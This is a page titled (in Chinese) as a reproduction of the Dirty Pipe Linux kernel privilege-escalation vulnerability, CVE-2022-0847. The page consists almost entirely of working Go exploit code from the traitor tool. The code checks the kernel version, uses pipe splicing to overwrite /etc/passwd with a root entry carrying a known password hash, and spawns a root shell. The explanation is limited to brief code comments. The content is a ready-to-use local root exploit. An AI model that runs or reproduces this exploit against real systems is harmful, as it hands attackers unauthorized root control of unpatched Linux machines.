Dirty Pipe（CVE-2022-0847）：Linux 内核页面缓存覆盖提权漏洞复现

1
package cve20220847
2
import (
3
    "context"
4
    "errors"
5
    "fmt"
6
    "os"
7
    "regexp"
8
    "strconv"
9
    "strings"
10
    "syscall"
11

12
    "github.com/liamg/traitor/pkg/logger"
13
    "github.com/liamg/traitor/pkg/payloads"
14
    "github.com/liamg/traitor/pkg/shell"
15
    "github.com/liamg/traitor/pkg/state"
16
    "golang.org/x/sys/unix"
17
)
18

19
// see: https://dirtypipe.cm4all.com/
20
type cve20220847Exploit struct {
21
    pageSize int64
22
    log      logger.Logger
23
}
24

25
func New() *cve20220847Exploit {
26
    exp := &cve20220847Exploit{
27
        pageSize: 4096,
28
    }
29
    return exp
30
}
31

32
func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool {
33

34
    r := regexp.MustCompile(`[0-9]+\.[0-9]+(\.[0-9]+)*`)
35
    ver := r.FindString(s.KernelVersion)
36

37
    var segments []int
38
    for _, str := range strings.Split(ver, ".") {
39
        n, err := strconv.Atoi(str)
40
        if err != nil {
41
            return false
42
        }
43
        segments = append(segments, n)
44
    }
45

46
    var major int
47
    var minor int
48
    var patch int
49

50
    if len(segments) < 3 {
51
        return false
52
    }
53

54
    major = segments[0]
55
    minor = segments[1]
56
    patch = segments[2]
57

58
    // affects Linux Kernel 5.8 and later versions, and has been fixed in Linux 5.16.11, 5.15.25 and 5.10.102
59
    switch {
60
        case major == 5 && minor < 8:
61
        return false
62
        case major > 5:
63
        return false
64
        case minor > 16:
65
        return false
66
        case minor == 16 && patch >= 11:
67
        return false
68
        case minor == 15 && patch >= 25:
69
        return false
70
        case minor == 10 && patch >= 102:
71
        return false
72
    }
73

74
    log.Printf("Kernel version %s is vulnerable!", ver)
75
    return true
76
}
77

78
func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
79
    return v.Exploit(ctx, s, log, payloads.Default)
80
}
81

82
func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
83

84
    v.log = log
85

86
    log.Printf("Attempting to set root password...")
87
    passwdData, err := os.ReadFile("/etc/passwd")
88
    if err != nil {
89
        return err
90
    }
91
    backup := string(passwdData)
92
    if len(backup) > 4095 {
93
        backup = backup[:4095]
94
    }
95
    if string(passwdData[:4]) != "root" {
96
        return fmt.Errorf("unexpected data in /etc/passwd")
97
    }
98
    rootLine := "root:$1$traitor$ELjiH/IyoHuVv5Hxiqam21:0:0::/root:/bin/sh\n"
99
    if err := v.writeToFile("/etc/passwd", 4, []byte(rootLine[4:])); err != nil {
100
        return fmt.Errorf("failed to overwrite target file: %w", err)
101
    }
102

103
    defer func() {
104
        log.Printf("Restoring contents of /etc/passwd...")
105
        _ = v.writeToFile("/etc/passwd", 1, []byte(backup)[1:])
106
    }()
107

108
    log.Printf("Starting shell...")
109
    log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.")
110
    return shell.WithPassword("root", "traitor", log)
111
}
112

113
func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error {
114

115
    if offset%v.pageSize == 0 {
116
        return errors.New("cannot write to an offset aligned with a page boundary")
117
    }
118

119
    v.log.Printf("Opening '%s' for read...", path)
120
    target, err := os.Open(path)
121
    if err != nil {
122
        return fmt.Errorf("failed to read target file: %w", err)
123
    }
124

125
    r, w, err := v.dirtyThatPipe()
126
    if err != nil {
127
        return fmt.Errorf("failed to create dirty pipe: %w", err)
128
    }
129
    defer func() {
130
        _ = r.Close()
131
        _ = w.Close()
132
    }()
133

134
    v.log.Printf("Splicing data...")
135
    offset--
136
    spliced, err := syscall.Splice(int(target.Fd()), &offset, int(w.Fd()), nil, 1, 0)
137
    if err != nil {
138
        return fmt.Errorf("splice error: %w", err)
139
    }
140
    if spliced <= 0 {
141
        return fmt.Errorf("splice failed (%d)", spliced)
142
    }
143

144
    v.log.Printf("Writing to dirty pipe...")
145
    if n, err := w.Write(data); err != nil {
146
        return fmt.Errorf("write failed: %w", err)
147
    } else if n < len(data) {
148
        return fmt.Errorf("write partially failed - %d bytes written", n)
149
    }
150

151
    v.log.Printf("Write of '%s' successful!", path)
152
    return nil
153
}
154

155
func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, err error) {
156

157
    v.log.Printf("Creating pipe...")
158
    r, w, err = os.Pipe()
159
    if err != nil {
160
        return nil, nil, fmt.Errorf("create failed: %w", err)
161
    }
162

163
    v.log.Printf("Determining pipe size...")
164
    size, err := unix.FcntlInt(w.Fd(), syscall.F_GETPIPE_SZ, -1)
165
    if err != nil {
166
        return nil, nil, fmt.Errorf("fcntl error: %w", err)
167
    }
168
    v.log.Printf("Pipe size is %d.", size)
169

170
    v.log.Printf("Filling pipe...")
171
    written := 0
172
    for written < size {
173
        writeSize := size - written
174
        if int64(writeSize) > v.pageSize {
175
            writeSize = int(v.pageSize)
176
        }
177
        n, err := w.Write(make([]byte, writeSize))
178
        if err != nil {
179
            return nil, nil, fmt.Errorf("pipe write failed: %w", err)
180
        }
181
        written += n
182
    }
183

184
    v.log.Printf("Draining pipe...")
185
    read := 0
186
    for read < size {
187
        readSize := size - read
188
        if int64(readSize) > v.pageSize {
189
            readSize = int(v.pageSize)
190
        }
191
        n, err := r.Read(make([]byte, readSize))
192
        if err != nil {
193
            return nil, nil, fmt.Errorf("pipe read failed: %w", err)
194
        }
195
        read += n
196
    }
197

198
    v.log.Printf("Pipe drained.")
199
    return r, w, nil
200
}